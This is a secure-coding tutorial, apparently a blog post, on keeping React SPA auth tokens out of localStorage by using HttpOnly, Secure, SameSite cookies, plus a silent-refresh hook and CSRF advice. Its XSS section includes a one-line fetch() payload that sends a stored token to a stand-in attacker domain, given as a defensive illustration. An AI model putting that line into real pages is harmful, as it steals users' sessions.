How to Secure React SPAs Against XSS Using Secure JWT Cookies

Stop Storing JWTs in LocalStorage: The Secure Way to Handle Auth in React

We’ve all been there. You’re building a sleek React SPA, you’ve got your JWT (JSON Web Token) from the backend, and you need a place to put it. The easiest path? localStorage.setItem('token', jwt). It’s simple, it persists through refreshes, and it’s what 90% of the tutorials on YouTube teach you.

But here is the hard truth: If you’re storing sensitive session tokens in LocalStorage, you’re leaving the front door wide open for XSS attacks.

In my years auditing production codebases, I’ve seen sophisticated teams fall into this trap. Today, I want to walk you through why we need to move away from LocalStorage and how we can implement a rock-solid, cookie-based authentication flow that actually keeps your users safe.


The Fatal Flaw: Why LocalStorage is an XSS Playground

The problem with LocalStorage isn’t the storage itself; it’s the accessibility. LocalStorage is accessible by any JavaScript running on your domain. This means if an attacker successfully executes a Cross-Site Scripting (XSS) attack—perhaps through a compromised third-party script or an unsanitized input field—they can steal your user’s token with a single line of code:

JavaScript

fetch('https://attacker-domain.com/steal?token=' + localStorage.getItem('token'));

Once they have that JWT, they can impersonate your user until the token expires. No amount of “clever” React code can stop a script that has direct access to the browser’s storage APIs.


The Solution: Locking Down Tokens with HttpOnly Cookies

To truly secure a JWT, we need to take it out of the reach of JavaScript. This is where HttpOnly Cookies come in. When a cookie is marked as HttpOnly, the browser will send it with every request to your API, but JavaScript cannot read or modify it.

When setting up your backend (I’ll use Express as an example), your login logic should look like this:

JavaScript

// Node.js / Express Example
res.cookie('token', jwt, {
  httpOnly: true,    // Prevents JS access (Kills XSS theft)
  secure: true,      // Ensures cookie is sent over HTTPS only
  sameSite: 'strict',// Prevents CSRF attacks
  maxAge: 3600000    // 1 hour expiry
});

By doing this, we’ve effectively neutralized the threat of an XSS script stealing the session. Even if an attacker runs code on your page, document.cookie will return an empty string for that token.


Handling the “Silent Refresh” Pattern

One common argument I hear against cookies in React is: “But how do I know if the user is logged in if I can’t read the token?”

We handle this by using a Silent Refresh or a BFF (Backend-for-Frontend) pattern. Instead of the frontend managing the “truth” of the session, we ask the server.

1. The React Hook Approach

I prefer using a useAuth hook that attempts to refresh the session on mount. If the cookie is valid, the server returns the user data; if not, it returns a 401.

JavaScript

// React: useAuth.js
import { useState, useEffect } from 'react';
import axios from 'axios';

export const useAuth = () => {
  const [user, setUser] = useState(null);
  const [loading, setLoading] = useState(true);

  useEffect(() => {
    const checkAuth = async () => {
      try {
        // This request automatically sends the HttpOnly cookie
        const response = await axios.get('/api/me');
        setUser(response.data.user);
      } catch (err) {
        setUser(null);
      } finally {
        setLoading(false);
      }
    };
    checkAuth();
  }, []);

  return { user, loading };
};

A Common Mistake I’ve Seen in Production

Here is a piece of personal insight: Don’t trust expires_in values sent in the JSON body.

I once worked on a project where the frontend calculated the session timeout based on a JSON field returned during login. The problem? The client’s system clock was off by 10 minutes, leading to a loop where the app thought the user was logged in, but every API call failed with a 401.

My Rule: Let the backend be the source of truth. If an API call returns a 401, catch it with an Axios Interceptor and redirect to login immediately. Don’t try to sync timers between the server and the browser.


Is it CSRF Safe?

When you switch to cookies, you trade XSS vulnerability for CSRF (Cross-Site Request Forgery) risk. However, with the modern sameSite: 'strict' or sameSite: 'lax' attributes, modern browsers block most CSRF attempts by default. For high-security apps, I still recommend using a double-submit cookie pattern or a custom CSRF header.


Conclusion: Key Takeaways

If you take nothing else away from this, remember these three points for your next SpiritCode project:

  • Never store JWTs in LocalStorage. It’s an easy win for hackers.
  • Use HttpOnly/Secure Cookies. It moves the security responsibility to the browser’s native, hardened engine.
  • Implement a “Silent Refresh”. Let your React app ask the backend for the session state on load rather than trying to manage it manually in state.

Security isn’t about being unhackable; it’s about making the cost of an attack so high that it’s not worth the effort. Moving to cookies is the single most effective “vulnerability-to-effort” fix you can make in a React app.